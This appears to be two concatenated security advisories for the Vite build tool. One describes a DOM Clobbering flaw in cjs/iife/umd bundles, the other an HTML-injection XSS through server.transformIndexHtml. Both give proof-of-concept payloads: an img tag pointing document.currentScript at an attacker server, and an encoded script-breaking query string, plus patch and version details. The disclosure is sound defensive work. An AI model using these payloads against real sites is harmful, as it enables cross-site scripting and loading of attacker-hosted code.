Summary

We discovered a DOM Clobbering vulnerability in Vite when building scripts to cjs/iife/umd output format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

Note that, we have identified similar security issues in Webpack: https://github.com/webpack/webpack/security/advisories/GHSA-4vvj-4cpr-p986

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf [2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Vite

We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to cjs, iife, or umd. In such cases, Vite replaces relative paths starting with __VITE_ASSET__ using the URL retrieved from document.currentScript.

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

const relativeUrlMechanisms = {
  amd: (relativePath) => {
    if (relativePath[0] !== ".") relativePath = "./" + relativePath;
    return getResolveUrl(
      `require.toUrl('${escapeId(relativePath)}'), document.baseURI`
    );
  },
  cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath)})`,
  es: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url`
  ),
  iife: (relativePath) => getRelativeUrlFromDocument(relativePath),
  // NOTE: make sure rollup generate `module` params
  system: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url`
  ),
  umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath, true)})`
};

PoC

Considering a website that contains the following main.js script, the devloper decides to use the Vite to bundle up the program with the following configuration.

// main.js
import extraURL from './extra.js?url'
var s = document.createElement('script')
s.src = extraURL
document.head.append(s)

// extra.js
export default "https://myserver/justAnOther.js"

// vite.config.js
import { defineConfig } from 'vite'

export default defineConfig({
  build: {
    assetsInlineLimit: 0, // To avoid inline assets for PoC
    rollupOptions: {
      output: {
        format: "cjs"
      },
    },
  },
  base: "./",
});

After running the build command, the developer will get following bundle as the output.

// dist/index-DDmIg9VD.js
"use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);

Adding the Vite bundled script, dist/index-DDmIg9VD.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>Vite Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of cjs, iife, or umd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
  getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', ${
      umd ? `typeof document === 'undefined' ? location.href : ` : ''
    }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`,
  )

Summary

When Vite's HTML transformation is invoked manually via server.transformIndexHtml, the original request URL is passed in unmodified, and the html being transformed contains inline module scripts (<script type="module">...</script>), it is possible to inject arbitrary HTML into the transformed output by supplying a malicious URL query string to server.transformIndexHtml.

Impact

Only apps using appType: 'custom' and using the default Vite HTML middleware are affected. The HTML entry must also contain an inline script. The attack requires a user to click on a malicious URL while running the dev server. Restricted files aren't exposed to the attacker.

Patches

Fixed in vite@5.0.5, vite@4.5.1, vite@4.4.12

Details

Suppose index.html contains an inline module script:

<script type="module">
  // Inline script
</script>

This script is transformed into a proxy script like

<script type="module" src="/index.html?html-proxy&index=0.js"></script>

due to Vite's HTML plugin:

https://github.com/vitejs/vite/blob/7fd7c6cebfcad34ae7021ebee28f97b1f28ef3f3/packages/vite/src/node/plugins/html.ts#L429-L465

When appType: 'spa' | 'mpa', Vite serves HTML itself, and htmlFallbackMiddleware rewrites req.url to the canonical path of index.html,

https://github.com/vitejs/vite/blob/73ef074b80fa7252e0c46a37a2c94ba8cba46504/packages/vite/src/node/server/middlewares/htmlFallback.ts#L44-L47

so the url passed to server.transformIndexHtml is /index.html.

However, if appType: 'custom', HTML is served manually, and if server.transformIndexHtml is called with the unmodified request URL (as the SSR docs suggest), then the path of the transformed html-proxy script varies with the request URL. For example, a request with path / produces

<script type="module" src="/@id/__x00__/index.html?html-proxy&index=0.js"></script>

It is possible to abuse this behavior by crafting a request URL to contain a malicious payload like

"></script><script>alert('boom')</script>

so a request to http://localhost:5173/?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E produces HTML output like

<script type="module" src="/@id/__x00__/?"></script><script>alert("boom")</script>?html-proxy&index=0.js"></script>

which demonstrates XSS.

PoC

• Example 1. Serving HTML from vite dev middleware with appType: 'custom'
  • Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=dev-html
  • "Open in New Tab"
  • Edit URL to set query string to ?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E and navigate
  • Witness XSS:
  • 
• Example 2. Serving HTML from SSR-style Express server (Vite dev server runs in middleware mode):
  • Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=server
  • (Same steps as above)
• Example 3. Plain vite dev (this shows that vanilla vite dev is not vulnerable, provided htmlFallbackMiddleware is used)
  • Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=dev
  • (Same steps as above)
  • You should not see the alert box in this case

Detailed Impact

This will probably predominantly affect development-mode SSR, where vite.transformHtml is called using the original req.url, per the docs:

https://github.com/vitejs/vite/blob/7fd7c6cebfcad34ae7021ebee28f97b1f28ef3f3/docs/guide/ssr.md?plain=1#L114-L126

However, since this vulnerability affects server.transformIndexHtml, the scope of impact may be higher to also include other ad-hoc calls to server.transformIndexHtml from outside of Vite's own codebase.

My best guess at bisecting which versions are vulnerable involves the following test script

import fs from 'node:fs/promises';
import * as vite from 'vite';

const html = `
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
  </head>
  <body>
    <script type="module">
      // Inline script
    </script>
  </body>
</html>
`;
const server = await vite.createServer({ appType: 'custom' });
const transformed = await server.transformIndexHtml('/?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E', html);
console.log(transformed);
await server.close();

and using it I was able to narrow down to #13581. If this is correct, then vulnerable Vite versions are 4.4.0-beta.2 and higher (which includes 4.4.0).